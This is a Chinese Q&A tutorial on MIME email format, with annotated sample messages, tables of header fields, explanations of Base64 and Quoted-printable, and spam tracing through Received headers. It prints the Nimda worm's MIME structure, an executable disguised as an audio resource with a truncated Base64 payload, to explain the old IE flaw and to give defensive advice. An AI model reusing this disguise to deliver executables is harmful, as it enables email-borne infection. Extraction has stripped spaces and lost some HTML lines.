您的当前位置:首页正文

MIME邮件实例

2022-07-27 来源:榕意旅游网
下面举几个MIME邮件的例子,让我们先对MIME编码的格式有个直观的印象。例1是最简单的,只带纯文本正文,基本上就是RFC822格式;例2复杂一些,包含纯文本和超文本正文;例3是最复杂的,包含纯文本正文、超文本正文、内嵌资源和文件附件。其中,行号和行号后的空格是为了分析方便而另外加的,“............”表示此处省略了大段编码。 例1

1Date:Thu,18Apr200209:32:45+0800 2From: 3To:

4Subject:Test 5Mime-Version:1.0

6Content-Type:text/plain;charset=\"iso-8859-1\" 7

8Thisisasimplemail. 9 例2

1From:\"bhw98\"

2Reply-To:bhw98@sina.com 3To:

4Subject:Re:help 5X-Mailer:Foxmail4.2[cn] 6Mime-Version:1.0

7Content-Type:multipart/alternative;

8boundary=\"=====002_Dragon307572345230_=====\" 9 10

11Thisisamulti-partmessageinMIMEformat. 12

13--=====002_Dragon307572345230_===== 14Content-Type:text/plain;charset=\"GB2312\" 15Content-Transfer-Encoding:quoted-printable 16

17bluesky7810=A3=AC=C4=FA=BA=C3=A3=A1 18

19=A1=A1=A1=A1=D4=DA=CF=C2=C6=AA=D7=EE=BA=F3=BF=C9=D2=D4=CF=C2=D4=D8=B0=A1=A3=AC=C4=E3 ............

30=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A12003-04-07 31

32--=====002_Dragon307572345230_===== 33Content-Type:text/html;charset=\"GB2312\" 34Content-Transfer-Encoding:quoted-printable 35 36 37

38 40 ............ 79 80

81--=====002_Dragon307572345230_=====-- 82 例3

1Return-Path:

2Delivered-To:bhw98@sina.com

3Received:(Qmail75513invokedbyalias);20May200202:19:53-0000 4Received:fromunknown(helobluesky)(61.155.118.135) 5by202.106.187.143withSMTP;20May200202:19:53-0000 6Message-ID:

7From:\"=?gb2312?B?wLbAtrXEzOwNCg==?=\" 8To:\"bhw98\" 9Cc:

10Subject:=?gb2312?B?ztK1xLbgtK6/2rPM0PI=?= 11Date:Sat,20May200210:03:36+0800 12MIME-Version:1.0

13Content-Type:multipart/mixed;

14boundary=\"----=_NextPart_000_007A_01C3115F.80DFC5E0\" 15X-Priority:3

16X-MSMail-Priority:Normal

17X-Mailer:MicrosoftOutlookExpress5.00.2919.6700

18X-MimeOLE:ProducedByMicrosoftMimeOLEV5.00.2919.6700 19

20Thisisamulti-partmessageinMIMEformat.

21

22------=_NextPart_000_007A_01C3115F.80DFC5E0 23Content-Type:multipart/related;type=\"multipart/alternative\"; 24boundary=\"----=_NextPart_001_007B_01C3115F.80DFC5E0\" 25 26

27------=_NextPart_001_007B_01C3115F.80DFC5E0 28Content-Type:multipart/alternative;

29boundary=\"----=_NextPart_002_007C_01C3115F.80DFC5E0\" 30

31------=_NextPart_002_007C_01C3115F.80DFC5E0 32Content-Type:text/plain;charset=\"gb2312\" 33Content-Transfer-Encoding:quoted-printable 34

35bhw98,=C4=E3=BA=C3!

36=D5=E2=CA=C7=CE=D2=D0=B4=B5=C4=B6=E0=B4=AE=BF=DA=CD=A8=D0=C5=B5=C4=B3=CC=D0=

37=F2,=C7=EB=D6=B8=BD=CC! 38 39

40------=_NextPart_002_007C_01C3115F.80DFC5E0 41Content-Type:text/html;charset=\"gb2312\" 42Content-Transfer-Encoding:quoted-printable 43 44 45

46html;charset=3Dgb2312\"http-equiv=3DContent-Type> 47 52

53 55

56bhw98,=C4=E3=BA=C3! 57

=D5=E2=CA=C7=CE=D2=D0=B4=B5=C4=B6=E0=B4=AE=BF=DA=CD=A8=D0=C5=B5=C4=B3=CC=

58=D0=F2,=C7=EB=D6=B8=BD=CC!

59 60

61------=_NextPart_002_007C_01C3115F.80DFC5E0-- 62

63------=_NextPart_001_007B_01C3115F.80DFC5E0

64Content-Type:image/jpeg;name=\"=?gb2312?B?x+fAyrGzvrAuSlBH?=\" 65Content-Transfer-Encoding:base64 66Content-ID: 67

68/9j/4AAQSkZJRgABAgEASABIAAD/7QVoUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA

69AQBIAAAAAQABOEJJTQPzAAAAAAAIAAAAAAAAAAA4QklNBAoAAAAAAAEAADhCSU0nEAAAAAAACgAB

70AAAAAAAAAAI4QklNA/UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYAAAAAAAEA ............

169RxVw98Vawq12xQ44q0cKtHFDWKGsKt4EtiuKt4q//9k= 170

171------=_NextPart_001_007B_01C3115F.80DFC5E0-- 172

173------=_NextPart_000_007A_01C3115F.80DFC5E0 174Content-Type:application/msword;name=\"readme.doc\" 175Content-Transfer-Encoding:base64

176Content-Disposition:attachment;filename=\"readme.doc\" 177

1780M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAJgAAAAAAAAAA

179EAAAKAAAAAEAAAD+////AAAAACUAAAD///////////////////////////////////////////// 180//////////////////////////////////////////////////////////////////////////// ............

1688AAAAAAAAAAAAAAAAAAA= 1689

1690------=_NextPart_000_007A_01C3115F.80DFC5E0 1691Content-Type:application/x-zip-compressed;

1692name=\"=?gb2312?B?tuC0rr/azajQxbXE1LTC6y56aXA=?=\" 1693Content-Transfer-Encoding:base64 1694Content-Disposition:attachment;

1695filename=\"=?gb2312?B?tuC0rr/azajQxbXE1LTC6y56aXA=?=\" 1696

1697UEsDBBQAAAAIAFKAoi7qOMOvLw0AAABWAAAUAAAAtuC0rr/azajQxbXE1LTC6y5kb2PtXHtwVNUZ

1698/+4+kk3IQoAkBkRYQkSgbrKb7IYNEMwmm6ckG0jCI0boZneTbJJ9sNlAEsdOtFqd8Z846tQ6PhB1 1699hrZTJoK0Vhgf1aGt4rMy6D8tdugfTjuOpcBIR9j+vvsIy4YkRNTRen87v/ud53cee+6557vn7L73 ............

3125zajQxbXE1LTC6y5kb2NQSwUGAAAAAAEAAQBCAAAAYQ0AAA== 3126

3127------=_NextPart_000_007A_01C3115F.80DFC5E0-- 3128

Q在开始研究MIME邮件的时候,如何得到这样的源码?

A一些功能比较完善的邮件客户端软件,如微软的OutlookExpress,国产的Foxmail等,都提供了查看和保存邮件源码(原始信息)的功能。在Foxmail中,选择邮件列表右键菜单的“原始信息”进行查看,主菜单的“文件-导出”进行保存。在OutlookExpress中,对应的操作分别是“属性”和“另存为”。所保存的.eml文件,可以调用这些程序打开。

Q请介绍一下MIME邮件的组成?

A总体来说,MIME消息由消息头和消息体两大部分组成。现在我们关注的是MIME邮件,因此在以下的讨论中姑且称“消息”为“邮件”。在上面的例子中,例1的1-6行,例2的1—8行,例3的1-18行,是邮件头;例1的8—9行,例2的10—82行,例3的20—3128行,是邮件体。邮件头与邮件体之间以空行进行分隔,如例1的第7行,例2的第9行,例3的第19行。邮件头中不允许出现空行。有一些邮件不能被邮件客户端软件识别,显示的是原始码,就是因为首行是空行。

邮件头包含了发件人、收件人、主题、时间、MIME版本、邮件内容的类型等重要信息。每条信息称为一个域,由域名后加“:”和信息内容构成,可以是一行,较长的也可以占用多行。域的首行必须“顶头”写,即左边不能有空白字符(空格和制表符);续行则必须以空白字符打头,且第一个空白字符不是信息本身固有的,解码时要过滤掉。如例2的7-8行,例3的4-5行,13-14行,分别属于一个域。

邮件体包含邮件的内容,它的类型由邮件头的“Content-Type”域指出。常见的简单类型有text/plain(纯文本)和text/html(超文本)。

例2和例3中出现的multipart类型,是MIME邮件的精髓。邮件体被分为多个段,每个段又包含段头和段体两部分,这两部分之间也以空行分隔。常见的multipart类型有三种:multipart/mixed,multipart/related和multipart/alternative。从它们的名称,不难推知这些类型各自的含义和用处。它们之间的层次关系可归纳为下图所示:

+-------------------------multipart/mixed----------------------------+ ||

|+-----------------multipart/related------------------+| ||||

||+-----multipart/alternative------++----------+|+------+| |||||内嵌资源|||附件||

|||+------------++------------+|+----------+|+------+| ||||纯文本正文||超文本正文||||

|||+------------++------------+|+----------+|+------+| |||||内嵌资源|||附件||

||+----------------------------------++----------+|+------+| ||||

|+------------------------------------------------------+|

||

+----------------------------------------------------------------------+

可以看出,如果在邮件中要添加附件,必须定义multipart/mixed段;如果存在内嵌资源,至少要定义multipart/related段;如果纯文本与超文本共存,至少要定义multipart/alternative段。什么是“至少”?举个例子说,如果只有纯文本与超文本正文,那么在邮件头中将类型扩大化,定义为multipart/related,甚至multipart/mixed,都是允许的。

multipart诸类型的共同特征是,在段头指定“boundary”参数字符串,段体内的每个子段以此串定界。所有的子段都以“--”+boundary行开始,父段则以“--”+boundary+“--”行结束。段与段之间也以空行分隔。在邮件体是multipart类型的情况下,邮件体的开始部分(第一个“--”+boundary行之前)可以有一些附加的文本行,相当于注释,解码时应忽略。段间也可以有一些附加的文本行,不会显示出来,如果有兴趣,不妨验证一下。

结合boundary定界和multipart层次关系图,我们分析一下例2和例3的邮件体层次与段嵌套关系。 在例2中,10-12行是附加文本行,13-82行是multipart/alternative型的段,包含两个子段:13-30行是纯文本正文,32-79行是超文本正文。

在例3中,20-21行是附加文本行,22-3127行是multipart/mixed型的段,包含3个子段:22-171行是multipart/related段,173-1688行与1690-3125行是两个附件。multipart/related段又包含两个子段:27-61行是multipart/alternative段,63-169行是一个内嵌资源(图片)。multipart/alternative段又包含两个子段:31-48行是纯文本正文,40-59行是超文本正文。

例1只有纯文本正文,实际上属于multipart层次关系图中的一个特殊情况。如果非要避简就繁,写成下面的形式,也是完全符合MIME精神的。 Date:Thu,18Apr200209:32:45+0800 From: To:

Subject:Test Mime-Version:1.0

Content-Type:multipart/alternative;boundary=\"{[(^_^)]}\" --{[(^_^)]}

Content-Type:text/plain;charset=\"iso-8859-1\" Content-Transfer-Encoding:7bit Thisisasimplemail. --{[(^_^)]}--

Q在邮件头和段头中,有哪一些常见的域?

A在邮件头中,有很多从RFC822沿用的域名,MIME也增加了一些。常见的标准域名和含义如下 域名 含义 添加者

Received 传输路径 各级邮件服务器 Return-Path 回复地址 目标邮件服务器 Delivered-To 发送地址 目标邮件服务器 Reply-To 回复地址 邮件的创建者 From 发件人地址 邮件的创建者 To 收件人地址 邮件的创建者 Cc 抄送地址 邮件的创建者 Bcc 暗送地址 邮件的创建者 Date 日期和时间 邮件的创建者 Subject 主题 邮件的创建者

Message-ID 消息ID 邮件的创建者 MIME-Version MIME版本 邮件的创建者 Content-Type 内容的类型 邮件的创建者

Content-Transfer-Encoding 内容的传输编码方式 邮件的创建者

非标准的、自定义域名都以X-开头,例如X-Mailer,X-MSMail-Priority等,通常在接收和发送邮件的是同一程序时才能理解它们的意义。 在段头中,大致有如下一些域 域名 含义

Content-Type 段体的类型

Content-Transfer-Encoding 段体的传输编码方式 Content-Disposition 段体的安排方式 Content-ID 段体的ID

Content-Location 段体的位置(路径) Content-Base 段体的基位置

有的域除了值之外,还带有参数。值与参数、参数与参数之间以“;”分隔。参数名与参数值之间以“=”分隔。如例3的28-29行,Content-Type域的值为“multipart/alternative”,此外有一个参数boundary,值为\"----=_NextPart_002_007C_01C3115F.80DFC5E0\"。又如例3的第176行,Content-Disposition域的值为“attachment”,此外有一个参数filename,值为“readme.doc”。 QContent-Type以及它们的参数有哪些形式?

AContent-Type

都是“主类型/子类型”的形式。主类型有

text,image,audio,video,application,multipart,message等,分别表示文本、图片、音频、视频、应用、分段、消息等。每个主类型都可能有多个子类型,如text类型就包含plain,html,xml,css等子类型。以X-开头的主类型和子类型,同样表示自定义的类型,未向IANA正式注册,但大多已经约定成俗了。如application/x-zip-compressedContent-Type。

关于参数的形式,RFC里有很多补充规定,有的允许带几个参数,较为常见的有 主类型 参数名 含义 text charset 字符集 image name 名称 application name 名称 multipart boundary 边界

其中字符集也能在Windows注册表的“HKEY_CLASSES_ROOT\\MIME\\Database\\Charset”内见到。 QContent-Transfer-Encoding有哪些?有什么特点?

AContent-Transfer-Encoding共有Base64,Quoted-printable,7bit,8bit,Binary等几种。其中7bit是缺省的编码方式。电子邮件源码最初设计为全部是可打印的ASCII码的形式。非ASCII码的文本或数据要编码成要求的格式,如上面的三个例子。Base64,Quoted-Printable是在非英语国家使用最广使的编码方式。Binary方式只具有象征意义,而没有任何实用价值。

Base64将输入的字符串或一段数据编码成只含有{'A'-'Z','a'-'z','0'-'9','+','/'}这64个字符的串,'='用于填充。其编码的方法是,将输入数据流每次取6bit,用此6bit的值(0-63)作为索引去查表,输出相应字符。这样,每3个字节将编码为4个字符(3×8→4×6);不满4个字符的以'='填充。有的场合,以“=?charset?B?xxxxxxxx?=”表示xxxxxxxx是Base64编码,且原文的字符集是charset。如例3第7行\"=?gb2312?B?wLbAtrXEzOwNCg==?=\"是由简体中文“蓝蓝的天”编码而成的。在段体内则直接编码,适当时机换行,MIME建议每行最多76个字符。如例3的1697-3125行,是一个ZIP文件的Base64编码。

ZIP

文件类型。在

Windows

中,注册表的

“HKEY_CLASSES_ROOT\\MIME\\Database\\ContentType”内列举了除multipart之外大部分已知的

Quoted-printable根据输入的字符串或字节范围进行编码,若是不需编码的字符,直接输出;若需要编码,则先输出'=',后面跟着以2个字符表示的十六进制字节值。有的场合,以“=?charset?Q?xxxxxxxx?=”表示xxxxxxxx是Quoted-printable编码,且原文的字符集是charset。在段体内则直接编码,适当时机换行,换行前额外输出一个'='。如例3的44-59行,是HTML文本的Quoted-printable编码。其中第45行“=C7=E7=C0=CA”原文是“晴朗”,因为“晴”的GB2312码是C7E7,“朗”的GB2312码是C0CA。第48、53、57行末尾只有孤零零的'=',表示这是由编码造成的软回车,而非原文固有的。

近年来,国内多数邮件服务器已经支持8bit方式,因此只在国内传输的邮件,特别是在邮件头中,可直接使用8bit编码,对汉字不做处理。如果邮件要出国,还是老老实实地按Base64或Quoted-printable编码才行。

Q什么是内嵌资源?它有哪些形式?

A内嵌资源也是MIME的一个发光点,它能使邮件内容变得生动活泼、丰富多彩。可在邮件的multipart/related框架内定义一些与正文关联的图片、动画、声音甚至CSS样式和脚本的段。通常在HTML正文内,使用超级链接与内嵌资源相联系。如在例3中,HTML正文53-54行,解码后为

它指出用一个Content-ID为007901c3111c$72b978a0$0100007f@bluesky的图片作为背景(cid:xxxxxxxx也是一种超级链接)。而64-169行恰好就是这样一个内嵌资源。

除了用Content-ID进行联系外,还有另外一种常用形式:用普通超级连接和Content-Location。例如: 在HTML正文中, ............

/www.dangdang.com/images/all/anti_joyo_dm_book.gif\"> ............

/www.dangdang.com/dd2001/getimage_small.asp?id=486341\"> ............

对应的内嵌资源为

Content-Type:image/gif;name=\"anti_joyo_dm_book.gif\" Content-Transfer-Encoding:base64

Content-Location:http://www.dangdang.com/images/all/anti_joyo_dm_book.gif ............

Content-Type:application/octet-stream;name=\"getimage_small.asp?id=486341\" Content-Transfer-Encoding:base64

Content-Location:http://www.dangdang.com/dd2001/getimage_small.asp?id=486341 ............ 另外,

Content-Location:http://www.dangdang.com/images/all/anti_joyo_dm_book.gif 与

Content-Location:anti_joyo_dm_book.gif

Content-Base:http://www.dangdang.com/images/all/ 是等效的。

Q邮件病毒如何利用附件和内嵌资源传播?

A有的邮件附件可能带有病毒,容易理解。附件毕竟是文件,也好预防,不轻易打开就是了。但内嵌资源是在浏览邮件内容时就要访问的,若其中藏有病毒或恶意代码,你在不知不觉中就中招了。如前两年曾经在全球范围内流行的Nimda病毒,功能性源码如下: MIME-Version:1.0

Content-Type:multipart/related; type=\"multipart/alternative\";

boundary=\"====_ABC1234567890DEF_====\" --====_ABC1234567890DEF_==== Content-Type:multipart/alternative;

boundary=\"====_ABC0987654321DEF_====\" --====_ABC0987654321DEF_==== Content-Type:text/html; charset=\"iso-8859-1\"

Content-Transfer-Encoding:7bit --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_====

Content-Type:audio/x-wav;name=\"readme.exe\" Content-Transfer-Encoding:base64 Content-ID:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v

ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO

........................

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= --====_ABC1234567890DEF_====

它将一个可执行文件作为资源嵌入了框架型页面,却声明这段可执行代码是波形声音类型。由于当时微软的IE(版本5.0及以下)存在重大安全漏洞,没有检查Content-Type与name的扩展名是否匹配,于是就被轻易骗过了,致使点选或打开邮件时自动运行了这个“readme.exe”,机器就感染上病毒。带毒的机器利用地址簿向别人发送带毒的邮件,一传十,十传百,Nimda蠕虫大行其道。

纵观历史,病毒刚出来时是厉害,但没有任何一种能够持续肆虐下去。Nimda如此,SARS亦当如此。曰:“多难兴邦,众志成城”,又曰:“非典终将倒下,城市精神永存”,相信我们定能很快战胜“非典”! 病毒库升级是跟在新病毒屁股后进行的,不要过分依赖杀毒软件。一个良好的习惯是关闭邮件预览功能,或者设定预览纯文本部分,先查看邮件源码,确信排除病毒嫌疑后再打开。对陌生人发来的带超文本正文的邮件,尤其要当心。永远不要在邮件客户端软件内直接打开附件。 Q一些垃圾邮件采取隐藏发件人的方式,如何追查它们来自哪里?

A从上面的邮件头域名表中可以看出,邮件的创建者可以掌握大部分的域的内容,但Received等域由各级服务器自动添加,发件人是鞭长莫及。垃圾邮件一般采用了群发软件发送,邮件头的From域(发件人地址)可以任意伪造,甚至写成收件人地址(收到了自己并没有发过的垃圾邮件,气愤吧?)。查看Received域(传输路径)链可以找到真正的出处。每个服务器添加的Received语句都在邮件首,故最下面一个Received就包含了发件人所用的SMTP或HTTP服务器,及最初的网关外部IP地址。 Receive语句的基本格式是:fromAbyB。A为发送方,B为接收方。例如: Received:(qmail45304invokedfromnetwork);4May200317:05:47-0000 Received:fromunknown(HELObjapp9.163.net)(202.108.255.197) by202.106.182.244withSMTP;4May200317:05:47-0000 Received:fromlocalhost(localhost[127.0.0.1])

bybjapp9.163.net(Postfix)withSMTPidE1C761D84C631 for;Mon,5May200301:07:26+0800(CST)

Received:fromfanyingxxxx@tom.com(unknown[211.99.162.194]) bybjapp9.163.net(Coremail)withSMTPidOgEAAM1ItT7MNaLC.1 for;Mon,05May200301:07:26+0800(CST)

从上面的例子中不难看出,该邮件的传输路径是:211.99.162.194→

bjapp9.163.net(Postfix,202.108.255.197?)

bjapp9.163.net(Coremail202.108.255.197?)

202.106.182.244。恰好出现了发件人邮箱fanyingxxxx@tom.com,但多数情况不一定能列出来。 此例的localhost[127.0.0.1],意味着bjapp9.163.net上安装了邮件服务代理性质的软件

因篇幅问题不能全部显示,请点此查看更多更全内容